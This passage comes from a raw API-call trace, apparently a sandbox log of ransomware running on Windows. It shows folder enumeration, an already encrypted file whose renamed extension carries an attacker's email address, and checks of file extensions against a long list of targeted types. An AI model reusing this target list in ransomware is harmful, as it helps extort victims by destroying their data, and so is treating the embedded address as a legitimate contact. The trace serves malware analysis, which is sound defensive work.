dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1 [0245.918] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x41840a0 | out: hHeap=0x520000) returned 1 [0245.918] FindNextFileW (in: hFindFile=0x60ea70, lpFindFileData=0x312f584 | out: lpFindFileData=0x312f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440d35a9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440d35a9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440d35a9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a00, dwReserved0=0x70b, dwReserved1=0xffffbd1b, cFileName="wab32.dll", cAlternateFileName="")) returned 1 [0245.919] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.919] FindNextFileW (in: hFindFile=0x60e970, lpFindFileData=0x312f800 | out: lpFindFileData=0x312f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dc5c3c0, ftCreationTime.dwHighDateTime=0x1d5d569, ftLastAccessTime.dwLowDateTime=0x8c823ed0, ftLastAccessTime.dwHighDateTime=0x1d5c635, ftLastWriteTime.dwLowDateTime=0x8c823ed0, ftLastWriteTime.dwHighDateTime=0x1d5c635, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0xffffbf1c, dwReserved1=0x90e, cFileName="webdrive.exe", cAlternateFileName="")) returned 1 [0245.919] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.919] FindNextFileW (in: hFindFile=0x60eeb0, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa40e4671, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa40e4671, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa40e4671, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x19a, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="desktop.ini.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="DESKTO~1.HCK")) returned 1 [0245.920] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.920] FindNextFileW (in: hFindFile=0x60ebb0, lpFindFileData=0x312f800 | out: lpFindFileData=0x312f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a4ec31b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a4ec31b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a4ec31b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd000, dwReserved0=0xffffbf1c, dwReserved1=0x90e, cFileName="ExtExport.exe", cAlternateFileName="")) returned 1 [0245.920] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.920] FindNextFileW (in: hFindFile=0x60ebb0, lpFindFileData=0x312f800 | out: lpFindFileData=0x312f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2132d, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb77a1634, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb77a1634, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffbf1c, dwReserved1=0x90e, cFileName="SIGNUP", cAlternateFileName="")) returned 1 [0245.920] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.920] FindNextFileW (in: hFindFile=0x60ebb0, lpFindFileData=0x312f800 | out: lpFindFileData=0x312f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a9b1003, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a9b1003, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a9b1003, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc218, dwReserved0=0xffffbf1c, dwReserved1=0x90e, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0245.920] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.920] FindNextFileW (in: hFindFile=0x60eeb0, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa235ac5b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa235ac5b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="Java", cAlternateFileName="")) returned 1 [0245.921] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x41940a8 | out: hHeap=0x520000) returned 1 [0245.921] FindNextFileW (in: hFindFile=0x60ec70, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7440, dwReserved0=0x0, dwReserved1=0x0, cFileName="dt_shmem.dll", cAlternateFileName="")) returned 1 [0245.923] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x41940a8 | out: hHeap=0x520000) returned 1 [0245.923] FindNextFileW (in: hFindFile=0x60ec70, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="policytool.exe", cAlternateFileName="POLICY~1.EXE")) returned 1 [0245.923] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x41940a8 | out: hHeap=0x520000) returned 1 [0245.923] FindNextFileW (in: hFindFile=0x60ec70, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="servertool.exe", cAlternateFileName="SERVER~1.EXE")) returned 1 [0245.924] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x41840a0 | out: hHeap=0x520000) returned 1 [0245.924] FindNextFileW (in: hFindFile=0x60e9b0, lpFindFileData=0x312f584 | out: lpFindFileData=0x312f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xcac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="COPYRIGHT", cAlternateFileName="COPYRI~1")) returned 1 [0245.924] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x41940a8 | out: hHeap=0x520000) returned 1 [0245.924] FindNextFileW (in: hFindFile=0x60ec30, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="applet", cAlternateFileName="")) returned 1 [0245.924] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x41940a8 | out: hHeap=0x520000) returned 1 [0245.924] FindNextFileW (in: hFindFile=0x60ec30, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x562, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendars.properties", cAlternateFileName="CALEND~1.PRO")) returned 1 [0245.925] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x41940a8 | out: hHeap=0x520000) returned 1 [0245.925] FindNextFileW (in: hFindFile=0x60ec30, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x15ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-types.properties", cAlternateFileName="CONTEN~1.PRO")) returned 1 [0245.925] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x41940a8 | out: hHeap=0x520000) returned 1 [0245.925] FindNextFileW (in: hFindFile=0x60ec30, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ed9405, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8ed9405, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa900a6f7, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ce7de, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy.jar", cAlternateFileName="")) returned 1 [0245.926] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x41940a8 | out: hHeap=0x520000) returned 1 [0245.926] FindNextFileW (in: hFindFile=0x60ec30, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="flavormap.properties", cAlternateFileName="FLAVOR~1.PRO")) returned 1 [0245.926] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x41940a8 | out: hHeap=0x520000) returned 1 [0245.926] FindNextFileW (in: hFindFile=0x60ec30, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x368a, dwReserved0=0x0, dwReserved1=0x0, cFileName="hijrah-config-umalqura.properties", cAlternateFileName="HIJRAH~1.PRO")) returned 1 [0245.927] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x41a40b0 | out: hHeap=0x520000) returned 1 [0245.927] FindNextFileW (in: hFindFile=0x60ea70, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa129361a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cursors", cAlternateFileName="")) returned 0 [0245.927] FindClose (in: hFindFile=0x60ea70 | out: hFindFile=0x60ea70) returned 1 [0245.928] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x41940a8 | out: hHeap=0x520000) returned 1 [0245.928] FindNextFileW (in: hFindFile=0x60ec30, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx.properties", cAlternateFileName="JAVAFX~1.PRO")) returned 1 [0245.928] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x41940a8 | out: hHeap=0x520000) returned 1 [0245.928] FindNextFileW (in: hFindFile=0x60ec30, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x88dc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr.jar", cAlternateFileName="")) returned 1 [0245.928] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x41940a8 | out: hHeap=0x520000) returned 1 [0245.928] FindNextFileW (in: hFindFile=0x60ec30, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17d, dwReserved0=0x0, dwReserved1=0x0, cFileName="management-agent.jar", cAlternateFileName="MANAGE~1.JAR")) returned 1 [0245.929] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x41940a8 | out: hHeap=0x520000) returned 1 [0245.929] FindNextFileW (in: hFindFile=0x60ec30, lpFindFileData=0x312f308 | out: lpFindFileData=0x312f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="sound.properties", cAlternateFileName="SOUND~1.PRO")) returned 1 [0245.929] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x41840a0 | out: hHeap=0x520000) returned 1 [0245.930] FindNextFileW (in: hFindFile=0x60e9b0, lpFindFileData=0x312f584 | out: lpFindFileData=0x312f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LICENSE", cAlternateFileName="")) returned 1 [0245.930] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.930] FindNextFileW (in: hFindFile=0x60e9f0, lpFindFileData=0x312f800 | out: lpFindFileData=0x312f800*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0de2f82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xafba0b05, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffbf1c, dwReserved1=0x90e, cFileName="jre1.8.0_144", cAlternateFileName="JRE18~1.0_1")) returned 0 [0245.930] FindClose (in: hFindFile=0x60e9f0 | out: hFindFile=0x60e9f0) returned 1 [0245.930] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x39e1020 | out: hHeap=0x520000) returned 1 [0245.930] FindNextFileW (in: hFindFile=0x60eeb0, lpFindFileData=0x312fa7c | out: lpFindFileData=0x312fa7c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa48a42d7, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa48a42d7, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0xffffbb03, cFileName="Microsoft Office", cAlternateFileName="MICROS~2")) returned 1 [0245.932] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.932] FindNextFileW (in: hFindFile=0x60eaf0, lpFindFileData=0x312f800 | out: lpFindFileData=0x312f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa592e6b9, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa592e6b9, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffbf1c, dwReserved1=0x90e, cFileName="PackageManifests", cAlternateFileName="PACKAG~1")) returned 1 [0245.934] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.934] FindNextFileW (in: hFindFile=0x60eaf0, lpFindFileData=0x312f800 | out: lpFindFileData=0x312f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffbf1c, dwReserved1=0x90e, cFileName="root", cAlternateFileName="")) returned 1 [0245.937] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x41840a0 | out: hHeap=0x520000) returned 1 [0245.937] FindNextFileW (in: hFindFile=0x60eb70, lpFindFileData=0x312f584 | out: lpFindFileData=0x312f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CLIPART", cAlternateFileName="")) returned 1 [0246.506] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb88785, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb88785, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb88785, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x849c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0198016.WMF", cAlternateFileName="")) returned 1 [0246.506] lstrlenW (lpString="J0198016.WMF") returned 12 [0246.506] lstrlenW (lpString=".1cd") returned 4 [0246.506] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0246.506] lstrlenW (lpString=".3ds") returned 4 [0246.506] lstrcmpiW (lpString1=".3ds", lpString2=".WMF") returned -1 [0246.506] lstrlenW (lpString=".3fr") returned 4 [0246.506] lstrcmpiW (lpString1=".3fr", lpString2=".WMF") returned -1 [0246.506] lstrlenW (lpString=".3g2") returned 4 [0246.506] lstrcmpiW (lpString1=".3g2", lpString2=".WMF") returned -1 [0246.506] lstrlenW (lpString=".3gp") returned 4 [0246.506] lstrcmpiW (lpString1=".3gp", lpString2=".WMF") returned -1 [0246.506] lstrlenW (lpString=".7z") returned 3 [0246.506] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0246.506] lstrlenW (lpString=".accda") returned 6 [0246.506] lstrcmpiW (lpString1=".accda", lpString2="16.WMF") returned -1 [0246.506] lstrlenW (lpString=".accdb") returned 6 [0246.506] lstrcmpiW (lpString1=".accdb", lpString2="16.WMF") returned -1 [0246.506] lstrlenW (lpString=".accdc") returned 6 [0246.506] lstrcmpiW (lpString1=".accdc", lpString2="16.WMF") returned -1 [0246.506] lstrlenW (lpString=".accde") returned 6 [0246.506] lstrcmpiW (lpString1=".accde", lpString2="16.WMF") returned -1 [0246.506] lstrlenW (lpString=".accdt") returned 6 [0246.506] lstrcmpiW (lpString1=".accdt", lpString2="16.WMF") returned -1 [0246.506] lstrlenW (lpString=".accdw") returned 6 [0246.506] lstrcmpiW (lpString1=".accdw", lpString2="16.WMF") returned -1 [0246.506] lstrlenW (lpString=".adb") returned 4 [0246.506] lstrcmpiW (lpString1=".adb", lpString2=".WMF") returned -1 [0246.506] lstrlenW (lpString=".adp") returned 4 [0246.506] lstrcmpiW (lpString1=".adp", lpString2=".WMF") returned -1 [0246.506] lstrlenW (lpString=".ai") returned 3 [0246.506] lstrcmpiW (lpString1=".ai", lpString2="WMF") returned -1 [0246.506] lstrlenW (lpString=".ai3") returned 4 [0246.507] lstrcmpiW (lpString1=".ai3", lpString2=".WMF") returned -1 [0246.507] lstrlenW (lpString=".ai4") returned 4 [0246.507] lstrcmpiW (lpString1=".ai4", lpString2=".WMF") returned -1 [0246.507] lstrlenW (lpString=".ai5") returned 4 [0246.507] lstrcmpiW (lpString1=".ai5", lpString2=".WMF") returned -1 [0246.507] lstrlenW (lpString=".ai6") returned 4 [0246.507] lstrcmpiW (lpString1=".ai6", lpString2=".WMF") returned -1 [0246.507] lstrlenW (lpString=".ai7") returned 4 [0246.507] lstrcmpiW (lpString1=".ai7", lpString2=".WMF") returned -1 [0246.507] lstrlenW (lpString=".ai8") returned 4 [0246.507] lstrcmpiW (lpString1=".ai8", lpString2=".WMF") returned -1 [0246.507] lstrlenW (lpString=".anim") returned 5 [0246.507] lstrcmpiW (lpString1=".anim", lpString2="6.WMF") returned -1 [0246.507] lstrlenW (lpString=".arw") returned 4 [0246.507] lstrcmpiW (lpString1=".arw", lpString2=".WMF") returned -1 [0246.507] lstrlenW (lpString=".as") returned 3 [0246.507] lstrcmpiW (lpString1=".as", lpString2="WMF") returned -1 [0246.507] lstrlenW (lpString=".asa") returned 4 [0246.507] lstrcmpiW (lpString1=".asa", lpString2=".WMF") returned -1 [0246.507] lstrlenW (lpString=".asc") returned 4 [0246.507] lstrcmpiW (lpString1=".asc", lpString2=".WMF") returned -1 [0246.507] lstrlenW (lpString=".ascx") returned 5 [0246.507] lstrcmpiW (lpString1=".ascx", lpString2="6.WMF") returned -1 [0246.507] lstrlenW (lpString=".asm") returned 4 [0246.507] lstrcmpiW (lpString1=".asm", lpString2=".WMF") returned -1 [0246.507] lstrlenW (lpString=".asmx") returned 5 [0246.507] lstrcmpiW (lpString1=".asmx", lpString2="6.WMF") returned -1 [0246.507] lstrlenW (lpString=".asp") returned 4 [0246.507] lstrcmpiW (lpString1=".asp", lpString2=".WMF") returned -1 [0246.507] lstrlenW (lpString=".aspx") returned 5 [0246.507] lstrcmpiW (lpString1=".aspx", lpString2="6.WMF") returned -1 [0246.507] lstrlenW (lpString=".asr") returned 4 [0246.507] lstrcmpiW (lpString1=".asr", lpString2=".WMF") returned -1 [0246.507] lstrlenW (lpString=".asx") returned 4 [0246.507] lstrcmpiW (lpString1=".asx", lpString2=".WMF") returned -1 [0246.507] lstrlenW (lpString=".avi") returned 4 [0246.507] lstrcmpiW (lpString1=".avi", lpString2=".WMF") returned -1 [0246.507] lstrlenW (lpString=".avs") returned 4 [0246.507] lstrcmpiW (lpString1=".avs", lpString2=".WMF") returned -1 [0246.507] lstrlenW (lpString=".backup") returned 7 [0246.507] lstrcmpiW (lpString1=".backup", lpString2="016.WMF") returned -1 [0246.507] lstrlenW (lpString=".bak") returned 4 [0246.507] lstrcmpiW (lpString1=".bak", lpString2=".WMF") returned -1 [0246.507] lstrlenW (lpString=".bay") returned 4 [0246.507] lstrcmpiW (lpString1=".bay", lpString2=".WMF") returned -1 [0246.507] lstrlenW (lpString=".bd") returned 3 [0246.507] lstrcmpiW (lpString1=".bd", lpString2="WMF") returned -1 [0246.507] lstrlenW (lpString=".bin") returned 4 [0246.507] lstrcmpiW (lpString1=".bin", lpString2=".WMF") returned -1 [0246.507] lstrlenW (lpString=".bmp") returned 4 [0246.507] lstrcmpiW (lpString1=".bmp", lpString2=".WMF") returned -1 [0246.507] lstrlenW (lpString=".bz2") returned 4 [0246.507] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0246.507] lstrlenW (lpString=".c") returned 2 [0246.507] lstrcmpiW (lpString1=".c", lpString2="MF") returned -1 [0246.507] lstrlenW (lpString=".cdr") returned 4 [0246.508] lstrcmpiW (lpString1=".cdr", lpString2=".WMF") returned -1 [0246.508] lstrlenW (lpString=".cer") returned 4 [0246.508] lstrcmpiW (lpString1=".cer", lpString2=".WMF") returned -1 [0246.508] lstrlenW (lpString=".cf") returned 3 [0246.508] lstrcmpiW (lpString1=".cf", lpString2="WMF") returned -1 [0246.508] lstrlenW (lpString=".cfc") returned 4 [0246.508] lstrcmpiW (lpString1=".cfc", lpString2=".WMF") returned -1 [0246.508] lstrlenW (lpString=".cfm") returned 4 [0246.508] lstrcmpiW (lpString1=".cfm", lpString2=".WMF") returned -1 [0246.508] lstrlenW (lpString=".cfml") returned 5 [0246.508] lstrcmpiW (lpString1=".cfml", lpString2="6.WMF") returned -1 [0246.508] lstrlenW (lpString=".cfu") returned 4 [0246.508] lstrcmpiW (lpString1=".cfu", lpString2=".WMF") returned -1 [0246.508] lstrlenW (lpString=".chm") returned 4 [0246.508] lstrcmpiW (lpString1=".chm", lpString2=".WMF") returned -1 [0246.508] lstrlenW (lpString=".cin") returned 4 [0246.508] lstrcmpiW (lpString1=".cin", lpString2=".WMF") returned -1 [0246.508] lstrlenW (lpString=".class") returned 6 [0246.508] lstrcmpiW (lpString1=".class", lpString2="16.WMF") returned -1 [0246.508] lstrlenW (lpString=".clx") returned 4 [0246.508] lstrcmpiW (lpString1=".clx", lpString2=".WMF") returned -1 [0246.508] lstrlenW (lpString=".config") returned 7 [0246.508] lstrcmpiW (lpString1=".config", lpString2="016.WMF") returned -1 [0246.508] lstrlenW (lpString=".cpp") returned 4 [0246.508] lstrcmpiW (lpString1=".cpp", 